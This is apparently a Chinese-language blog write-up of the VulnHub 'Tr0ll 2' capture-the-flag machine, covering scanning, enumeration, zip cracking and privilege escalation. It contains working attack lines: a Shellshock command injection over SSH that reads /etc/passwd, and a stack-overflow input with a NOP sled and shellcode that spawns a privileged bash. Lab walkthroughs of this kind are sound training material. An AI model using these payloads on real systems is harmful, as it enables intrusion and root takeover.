vulnhub-Tr0ll2

 Tr0ll: 2 ~ VulnHub www.vulnhub.com/entry/tr0ll-2,107/

kali 192.168.56.109
靶机 192.168.56.120

nmap -sS -A -O -p- 192.168.56.120

Nmap scan report for 192.168.56.120
Host is up (0.0014s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.8 or later
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 82fe93b8fb38a677b5a625786b35e2a8 (DSA)
|   2048 7da599b8fb6765c96486aa2cd6ca085d (RSA)
|_  256 91b86a45be41fdc814b502a0667c8c96 (ECDSA)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.22 (Ubuntu)
MAC Address: 08:00:27:B3:3F:0C (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop
Service Info: Host: Tr0ll; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   1.44 ms 192.168.56.120

访问web服务,查看首页源码

再访问 /robots.txt 得

将路径写入文件,使用dirb测试 dirb 192.168.56.120 path.txt 

这几个页面都只有一张图片,全部下载下来后使用 binwalk exiftool strings 进行分析。

使用strings分析 dont_bother 下的图片时发现 Look Deep within y0ur_self for the answer

访问 y0ur_self路径

txt内容为:

可见为base64编码后,下载下来后使用 base64 -d answer_base64.txt > answer.txt解码

 

登录ftp服务器,使用弱口令登录,下载zip文件

需要密码才能解压缩,破解zip的工具有 zip2john  fcrackzip
使用fcrackzip和之前得到的字典破解 fcrackzip -u -D -p answer.txt lmao.zip

解压zip得到一个名为 noob 的文件:

成功连接,但无法进入bash。此处可利用 shellshock 漏洞 ssh noob@192.168.56.120 -i noob '() { :;}; cat /etc/passwd'

Bash Shellshock漏洞复现及分析 - FreeBuf网络安全行业门户   www.freebuf.com/articles/system/279713.html

几个常用shell脚本工具:

https://github.com/mzet-/linux-exploit-suggester  # 检测linux存在漏洞,简称les
# 枚举信息
https://github.com/rebootuser/LinEnum
https://github.com/BRU1S3R/linpeas.sh

查找可以用于pwn的文件

  1. 查找最高权限的文件: find / -perm -4000 2 > /dev/null
  2. 查找可写入的文件:find / -writable 2>/dev/null
  3. 查找root权限执行的文件:ps aux|grep root

查找到文件:

使用 /usr/share/metasploit-framework/tools/exploit/pattern_create.rb 和 /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb 得知缓冲区大小为 268

使用 作为参数:

在靶机上使用gdb查看栈溢出时ESP的内容,为 0xbffffb60

在网站 http://shell-storm.org/shellcode 搜索得shellcode,得到输入参数:

$(python2 -c "print 'A'*268 + '\x60\xfb\xff\xbf' + '\x90'*100 + '\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80'")

其中 \x90 为nop指令,为 nop sled 技术 

 

posted @ 2022-12-23 19:20  某某人8265  阅读(61)  评论(0编辑  收藏  举报